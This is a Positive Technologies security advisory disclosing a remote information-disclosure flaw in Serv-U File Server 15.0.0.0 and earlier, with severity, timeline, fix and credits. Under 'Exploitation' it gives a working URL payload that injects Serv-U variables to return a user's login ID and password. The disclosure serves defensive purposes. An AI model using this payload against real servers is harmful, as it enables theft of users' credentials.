(PT-2013-67) Positive Technologies Security Advisory
Sensitive Information Disclosure in Serv-U File Server
Vulnerable software
Serv-U File Server
Version: 15.0.0.0 and earlier
Link:
http://www.serv-u.com/
Severity level
Severity level: High
Impact: Information Disclosure
Access Vector: Remote
CVSS v2:
Base Score: 7.8
Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)
CVE: not assigned
Software description
Serv-U File Server is a Windows and Linux based multi-protocol FTP, HTTP and SFTP file server.
Vulnerability description
The specialists of the Positive Research center have detected a Sensitive Information Disclosure vulnerability in Serv-U File Server.
This vulnerability allows an attacker to find out the system configuration and obtain users’ authentication information via Serv-U variables values.
Exploitation
Login and password output with ID 9590876:
http://serv-u/Web%20Client/Error.htm?RESULT=</script>%25CUser.9590876.LoginID%25:%25CUser.9590876.Password%25<!--
How to fix
Update your sofware up to the latest version
Advisory status
03.10.2013 - Vulnerability details were sent to CERT
19.02.2014 - Vendor releases fixed version and details
31.07.2014 - Public disclosure
Credits
The vulnerability was detected by Sergey Bobrov, Positive Research Center (Positive Technologies Company)
References
http://en.securitylab.ru/lab/PT-2013-67
Reports on the vulnerabilities previously discovered by Positive Research:
http://www.ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/
About Positive Technologies
Positive Technologies is a leading provider of vulnerability assessment, compliance management and threat analysis solutions to more than 1,000 global enterprise clients. Our solutions work seamlessly across your entire business: securing applications in development; assessing your network and application vulnerabilities; assuring compliance with regulatory requirements; and blocking real-time attacks. Our commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on SCADA, Banking, Telecom, Web Application and ERP security, and distinction as the #1 fastest growing Security and Vulnerability Management firm in 2012, as shown in an IDC report*. To learn more about Positive Technologies please visit www.ptsecurity.com
*Source: IDC Worldwide Security and Vulnerability Management 2013-2017 Forecast and 2012 Vendor Shares, doc #242465, August 2013. Based on year-over-year revenue growth in 2012 for vendors with revenues of $20M+
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